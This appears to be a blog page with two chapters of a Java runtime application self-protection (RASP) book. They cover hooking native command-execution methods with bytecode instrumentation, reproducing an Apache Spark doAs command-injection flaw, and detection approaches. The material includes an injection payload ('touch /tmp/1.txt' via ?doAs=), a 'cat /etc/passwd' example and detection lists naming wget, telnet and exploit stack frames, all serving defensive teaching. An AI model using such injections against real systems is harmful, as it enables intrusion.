        // Change from private native int forkAndExec to private int forkAndExec
        int newAccess = access & ~Opcodes.ACC_NATIVE;
        method = new RaspMethod(access, NATIVE_PREFIX + name, desc);
        final MethodVisitor mv = super.visitMethod(newAccess, name, desc, signature, exceptions);
        return new AdviceAdapter(api, new JSRInlinerAdapter(mv, newAccess, name, desc, signature, exceptions), newAccess, name, desc) {
            @Override
            public void visitEnd() {
                // Call native method $$JRASP$$_forkAndExec within forkAndExec method
                loadThis();
                loadArgs();
                mv.visitMethodInsn(Opcodes.INVOKESPECIAL, targetClassInternalName, method.getName(), method.getDescriptor(), false);
                returnValue();
                super.visitEnd();
            }
        };
    }
    return super.visitMethod(access, name, desc, signature, exceptions);
}

@Override public void visitEnd() { if (method != null) { // Add a new native method with prefix, i.e. $$JRASP$$_forkAndExec int newAccess = (Opcodes.ACC_PRIVATE | Opcodes.ACC_NATIVE | Opcodes.ACC_FINAL); MethodVisitor mv = cv.visitMethod(newAccess, method.getName(), method.getDescriptor(), null, null); mv.visitEnd(); } super.visitEnd(); } }

In the visitMethod method, when a target method is matched, first set the prefix for native method resolution, then modify the method's access modifier,
which involves removing the native keyword from the native method and calling the prefixed native method within the method. In the visitEnd method, a new prefixed native method is added.Let's examine the configuration of the agent project's pom.xml. The key configurations related to the agent are as follows:
```xml
<plugin>
    <groupId>org.apache.maven.plugins</groupId>
    <artifactId>maven-jar-plugin</artifactId>
    <version>3.2.2</version>
    <configuration>
        <archive>
            <manifest>
                <addClasspath>true</addClasspath>
            </manifest>
            <manifestEntries>
                <Premain-Class>com.jrasp.example.agent.Agent</Premain-Class>
                <Agent-Class>com.jrasp.example.agent.Agent</Agent-Class>
                <Can-Redefine-Classes>true</Can-Redefine-Classes>
                <Can-Retransform-Classes>true</Can-Retransform-Classes>
                <!--Allow setting prefix for native method resolution-->
                <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>
            </manifestEntries>
        </archive>
    </configuration>
</plugin>

9.2.3 Modified Native Method

After compilation, start in premain mode:

java -javaagent:rce-agent-1.0-SNAPSHOT.jar -jar springboot.jar

Since the command execution class won’t be actively loaded after application startup, we need to trigger its loading to modify its bytecode. After modifying the bytecode, rce-agent will dump the bytecode files in the rasp-class-dump directory under the application folder.

Let’s look at the bytecode of java.lang.UNIXProcess’s forkAndExec method before and after modification.

Original bytecode:

private final native int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);
```Modified Bytecode:
```java
// Modify method access modifier and call native method within the method
private int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) throws IOException {
    // Typically add detection logic here
    return this.$$JRASP$$_forkAndExec(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10);
}

// New native method with prefix
private final native int $$JRASP$$_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);

The modified forkAndExec now has a method body, allowing RASP detection logic to be added when executing this method.

9.2.4 Limitations of Native Method Hooking

Not all native methods can be modified through bytecode changes—there are certain limitations. If the method to be modified has macro definitions in the file jdk11/src/hotspot/share/classfile/vmSymbols.hpp as shown in Figure 9-4:

Figure 9-4 Methods that cannot be directly modified

To enhance native methods defined in VM_INTRINSICS_DO, the following VM parameters need to be added:

-XX:+UnlockDiagnosticVMOptions
-XX:CompileCommand=dontinline,${ClassName}::${MethodName}
-XX:DisableIntrinsic=${MethodNameId}

Where ${ClassName} represents the fully qualified class name, {MethodName} represents the class method name, and ${MethodNameId} represents the intrinsic id obtained from the first parameter of the VM_INTRINSICS_DO macro definition.

For example, for java.lang.System.currentTimeMillis, the JVM parameters to enable native hooking are as follows:

-XX:+UnlockDiagnosticVMOptions
-XX:CompileCommand=dontinline,java.lang.System::currentTimeMillis
-XX:DisableIntrinsic=_currentTimeMillis

9.3 Apache Spark Command Injection Vulnerability

• Vulnerability Overview

The Apache Spark UI provides ACL functionality through the configuration option spark.acls.enable. When ACL is enabled, code paths in HttpSecurityFilter may allow attackers to perform impersonation by providing arbitrary usernames. Consequently, attackers can access permission checking functionality that ultimately constructs and executes a Unix shell command based on attacker input. Successful exploitation of this vulnerability could lead to arbitrary shell command execution.

• Affected VersionsApache Spark <= v3.0.3

3.1.1 <= Apache Spark <= 3.1.2

3.2.0 <= Apache Spark <= 3.2.1

• Environment Setup

Download spark-3.2.1-bin-hadoop2.7.tgz (https://repo.huaweicloud.com/apache/spark/spark-3.2.1/spark-3.2.1-bin-hadoop2.7.tgz)

Figure 9-5 Download URL for spark-3.2.1-bin-hadoop2.7.tgz

The key to triggering the vulnerability lies in whether ACL is enabled. The script to start Spark is as follows:

./spark-shell --conf spark.acls.enable=true

Figure 9-6 Starting Spark

From the startup logs, it can be seen that the Spark web server access address is: http://192.168.2.4:4040

Append ?doAs=command to the startup address, and here execute touch%20/tmp/1.txt, which creates a file named 1.txt in the /tmp directory.

• Attack Request

Figure 9-7 Launching an attack on Spark

Figure 9-8 Result of the attack on Spark

• Attack Details

Figure 9-9 RASP detection result - Vulnerability details

The attack log intercepted by RASP is as follows:

Figure 9-10 RASP detection result - HTTP request log

9.4 Command Execution Detection Algorithm### 9.4.1 Stack Detection Algorithm

This algorithm is one of the most widely used in RASP, whether for offline analysis or real-time detection. The detection principle is relatively simple: when command execution occurs, the current thread’s call stack is obtained. If the call stack contains illegal stack frames, it can be identified as an attack. Common illegal attack stacks are as follows:

com.thoughtworks.xstream.XStream.unmarshal
java.beans.XMLDecoder.readObject
java.io.ObjectInputStream.readObject
org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput.readObject
com.alibaba.fastjson.JSON.parse
com.fasterxml.jackson.databind.ObjectMapper.readValue
payload.execCommand
net.rebeyond.behinder
org.springframework.expression.spel.support.ReflectiveMethodExecutor.execute
freemarker.template.utility.Execute.exec
freemarker.core.Expression.eval
bsh.Reflect.invokeMethod
org.jboss.el.util.ReflectionUtil.invokeMethod
org.codehaus.groovy.runtime.ProcessGroovyMethods.execute
org.codehaus.groovy.runtime.callsite.AbstractCallSite.call
ScriptFunction.invoke
com.caucho.hessian.io.HessianInput.readObject
org.apache.velocity.runtime.parser.node.ASTMethod.execute
org.apache.commons.jexl3.internal.Interpreter.call
javax.script.AbstractScriptEngine.eval
javax.el.ELProcessor.getValue
ognl.OgnlRuntime.invokeMethod
javax.naming.InitialContext.lookup
org.mvel2.MVEL.executeExpression
org.mvel.MVEL.executeExpression
ysoserial.Pwner
org.yaml.snakeyaml.Yaml.load
org.mozilla.javascript.Context.evaluateString
command.Exec.equals
java.lang.ref.Finalizer.runFinalizer
java.sql.DriverManager.getConnection
// Note: Stack signatures are sourced from OpenRasp

Generally, known vulnerabilities can be reproduced and their call stacks captured using RASP, selecting classes and methods with higher execution privileges.

Since stack signatures are extracted from known vulnerabilities or exploit chains, a limitation of this algorithm is its inability to effectively address threats from unknown vulnerabilities.

9.4.2 Reflective Command ExecutionRegular users also have command execution needs, but when executing commands, they typically directly invoke command execution APIs rather than using reflection. This is because code logic that employs reflection for command execution is more complex and performs worse. Consider the following call stack, which demonstrates normal user command execution:

Scenario: Direct invocation of command execution API

// [1] Command execution API
java.lang.ProcessImpl.start(ProcessImpl.java)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:485)
// [2] User code
com.alibaba.inf.cto.util.ProcessInfoUtil.getSystemInfoByCommand(ProcessInfoUtil.java:256)
com.alibaba.inf.cto.util.ProcessInfoUtil.getHostInfoByIp(ProcessInfoUtil.java:242)
com.alibaba.adsc.predict.monitor.ponitor.getHostName(PMonitor.java:105)
com.alibaba.adsc.predict.monitor.ponitor.lambda$makeSureExist$0(PMonitor.java:94)
com.alibaba.adsc.predict.monitor.ponitor$$Lambda$427/2097793174.run(Unknown Source)
java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
java.util.concurrent.FutureTask.run(FutureTask.java:266)
java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
java.lang.Thread.run(Thread.java:745)

From the call stack, we can see that the user directly invokes the command execution API in ProcessInfoUtil.getSystemInfoByCommand without any reflection operations in between. If there are reflection call stacks between user code and command execution code, it can be identified as an attack.

9.4.3 User Input Parameter Matching

Detect whether the parameters for command execution originate from user input, meaning the command execution parameters are included in HTTP requests. User inputs include: HTTP parameters, cookies, and headers, etc. For example, consider the following command string:

cat /etc/passwd

Convert the command execution parameters into valid token streams, i.e., three strings: cat, etc, and passwd, then compare them with HTTP parameters. This algorithm can effectively identify command execution backdoors, but its performance degrades when HTTP request parameters or command execution parameter strings are lengthy.### 9.4.4 Detecting Common Penetration Commands
Common penetration commands include but are not limited to:

whoami、wget、echo、touch、pwd、ifconfig、net、wget、telnet、ls、ping
// Other parameters can be referenced from the RASP command execution module

The frequency of command execution is typically not very high. In addition to the detection algorithms mentioned above, all system command executions can be logged and reported. After manual verification, these logs can serve as the system’s security baseline.

Tags:

• command execution
• application security

Introduction to Application Security and RASP

Apr 11, 2025

ven coding

Dev @ Okrasp

1.0 Chapter Overview

This chapter introduces the current state of application security, the basic concepts of RASP, its implementation principles and usage scenarios, along with a brief analysis of RASP’s advantages and disadvantages.

1.1 Current State of Application Security

Traditional application security protection (WAF) is deployed outside web applications, intercepting requests carrying attack signatures by analyzing traffic. WAF analyzes HTTP traffic before it reaches the application server, but detection methods based on traffic analysis can be easily bypassed. Judging attack attributes solely by analyzing HTTP request characteristics is relatively one-sided and can easily lead to misidentification of vulnerabilities, potentially causing devastating impacts on programs. Numerous web application attacks bypass WAFs, making optimization challenging.

Recent years’ high-risk CVEs indicate that vulnerabilities are primarily concentrated in various remote code executions, followed by file access (directory traversal, file uploads, and file reads, etc.), with unauthorized access vulnerabilities ranking third. Deserialization and command execution also account for a significant proportion. The distribution of major vulnerability types is shown in Figure 1-1 below.

Figure 1-1 Distribution of high-risk vulnerability attack types over the past five years

Data source: Alibaba Cloud High-Risk Vulnerability Database, accessed at: https://avd.aliyun.com/high-risk/list

Figure 1-2 Alibaba Cloud High-Risk Vulnerability Database

Among the vulnerabilities with significant impact are: Apache Log4j2 Remote Code Execution Vulnerability (CVE-2021-44228), SpringShell Remote Code Execution Vulnerability (CVE-2022-22965), and Confluence OGNL Remote Command Execution Vulnerability (CVE-2023-22515). Ranking first is the Apache Log4j2 Remote Code Execution Vulnerability, the most severe vulnerability in the past decade, with enormous impact due to its widespread use and simple exploitation.

1.2 What is RASP?

As web application attack methods become more complex, protection mechanisms based on request characteristics can no longer meet enterprise security needs. As early as 2014, Gartner introduced the term “Runtime application self-protection,” abbreviated as RASP, a new type of application security protection technology that “injects” protective functions into applications, integrating them seamlessly. By hooking a few critical functions, RASP monitors the internal state of the program during runtime in real-time. When suspicious behavior is detected, RASP accurately identifies attack events based on the current context and blocks them in real-time, enabling applications to self-protect without requiring manual intervention.

Figure 1-3 below illustrates the principle of RASP protecting against SQL injection.

Figure 1-3 Principle Diagram of RASP Protecting Against SQL Injection

RASP detects high-risk behaviors of web applications in real-time, improving detection accuracy through signature rules, sensitive method calls, contextual correlation, and data correlation analysis with other security products (such as HIDS and WAF). Compared to WAFs, RASP does not need to analyze massive request characteristics but focuses more on application behavior to detect known and unknown security threats. Additionally, in alert logs, RASP can precisely locate the line number of the vulnerable code, providing significant assistance in vulnerability reproduction and remediation.

1.3 What Can RASP Do?

• Defend Against Unknown Attacks

RASP focuses on sensitive behaviors of business operations. Unknown attacks often trigger a series of high-risk behaviors, such as command execution, file access, class loading, and sensitive information probes. RASP can always detect traces left by attacks.

• Vulnerability Localization

When reporting vulnerability attack information, RASP includes not only request context but also method parameters, return values, and call stacks of sensitive functions. This information can fully reproduce the attack path and method of the vulnerability.

• Hot FixingRASP can apply virtual patches to applications, fixing vulnerabilities not yet addressed by official updates. Particularly for large, complex systems where updates and restarts are not permitted, its hot-fix mechanism can promptly stop vulnerability bleeding, significantly reducing vulnerability exposure time. By adding new function hooks and detection rules, businesses can achieve security reinforcement in a relatively short timeframe.

• RASP empowers scanners to implement gray-box detection (IAST).

Based on RASP technology, it’s easy to extend into a gray-box scanner (IAST), enabling early detection in development and testing environments. This achieves two different functional uses within a single product.

• Mapping software supply chain attack risks

Taking Java as an example, RASP operates inside the JVM and can accurately obtain information about loaded JAR files (versions, paths, etc.), theoretically eliminating false positives and false negatives. Combined with third-party CVE vulnerability databases, it can assess the risk level of the current system. Compared to methods like scanning disk files, parsing POM files, or examining process-loaded files, this approach offers higher accuracy.

1.4 RASP vs WAF

Traditional WAFs primarily filter attack requests by analyzing traffic characteristics and intercepting requests carrying attack signatures. While WAFs can effectively filter out most malicious requests, they lack visibility into application runtime context, inevitably leading to some degree of false positives. Moreover, WAFs heavily rely on signature databases, and various evasion techniques make it difficult for signatures to cover all variations.

RASP’s main advantages over WAF include:

• RASP operates within applications, integrating with them to access runtime context. It can precisely identify or intercept attacks based on runtime context or sensitive operations. Since RASP runs inside applications, with properly selected detection points, the payloads it captures are already decoded real payloads, reducing false negatives caused by imperfect WAF rules.

• Unlike WAFs deployed outside applications, RASP works inside applications and can analyze both external and internal network traffic. By hooking various access points including HTTP requests, RPC, Socket, DNS, etc., RASP builds comprehensive context. When detecting sensitive behaviors, it reports contextual environment, attack payloads, stack traces together, greatly enhancing detection and traceability capabilities.

RASP possesses advantages that WAFs lack and is increasingly becoming standard in security defense systems. However, WAF remains a mature, fast-deployable security product suitable for large-scale deployment. RASP and WAF are complementary - they operate at different dimensions. The core difference is that RASP can more accurately intercept vulnerabilities (even zero-days), while WAF’s traffic-based mechanism cannot fully understand internal business logic and is more easily bypassed.

RASP’s problem-solving approach is less direct - it functions more like a vaccine, building immunity based on internal signals; whereas WAF is more like protective gear (masks/armor) that provides immediate defense by wrapping around applications. The two complement each other: WAF serves as the perimeter defense while RASP provides internal application protection, ensuring effective attack interception.

RASP and WAF are not replacements for each other - each excels in different business and security scenarios. For application protection, they collaboratively build dual-layer defense capabilities (boundary + intrinsic) to minimize risks of application intrusion, data breaches, and service unavailability.

Figure 1-4 illustrates the relationship between WAF/RASP cybersecurity products and application services.

Figure 1-4 Relationship between WAF/RASP cybersecurity products and application services

1.5 Challenges of RASP

Despite its advantages, RASP’s implementation also introduces several challenges that result in high development costs and adoption difficulties:

• Significant impact on business operationsSince the detection process code needs to be embedded into business code, this introduces a significant amount of logic unrelated to the business process during runtime, thereby increasing the response time of business requests. Compared with more mature cybersecurity products like WAF and HIDS, from an isolation level perspective, RASP runs within the host Java process with the lowest isolation level, only separated from the business by class loaders, as shown in Figure 1-5. If RASP itself encounters issues such as deadlocks, null pointers, or memory leaks, it will directly impact the business.

Figure 1-5 Isolation levels of WAF, HIDS, and RASP cybersecurity products relative to application services

• Development Cost Issues

For different programming languages, the underlying implementations of RASP vary. Each requires specialized development based on language-specific features and demands developers to have a deep understanding of the language’s runtime mechanisms and internal implementations. Generally, it is challenging for a programmer to master more than two mainstream languages (including Java, PHP, Python, C++, Golang, and Node.js), which implies higher research, development, and testing costs.

• Deployment and Maintenance Issues

Taking Java RASP as an example, there are two deployment methods: one requires specifying the Agent location before startup, while the other allows deployment via Attach during runtime. However, both approaches have their own problems. Specifying the Agent location before startup means service restarts are needed during deployment, affecting normal business operations. When deploying via Attach during runtime, since the Java process is already running, RASP initialization—especially bytecode modification—significantly impacts business performance. Additionally, once the Agent is loaded, it cannot be unloaded, and feature updates still depend on restarting the business process.

1.5 Basic Principles of RASP Vulnerability Detection

Currently, the primary focus of RASP remains Java RASP. Its implementation involves writing a Java Agent that calls the Instrumentation API to insert security detection code into critical functions of the application. As shown in Figure 1-6, RASP adds multiple monitoring methods along the request call chain and saves parameters to the request’s context environment. When sensitive operations are executed, it comprehensively determines whether it is a vulnerability attack by analyzing the context environment, call stack, and sensitive operation parameters.

Figure 1-6 Java RASP Context Correlation and Vulnerability Detection

1.6 Chapter Summary

This chapter primarily introduced the main distribution of application security vulnerabilities, the technical foundation of Java RASP, and the principles of vulnerability detection. It also discussed the advantages of RASP over other security products and the challenges in current RASP deployment practices. This chapter provided only an overview of RASP usage scenarios; subsequent chapters will delve into the technical details.

Tags:

• rasp
• java rasp
• okrasp
• applicaion security

Older posts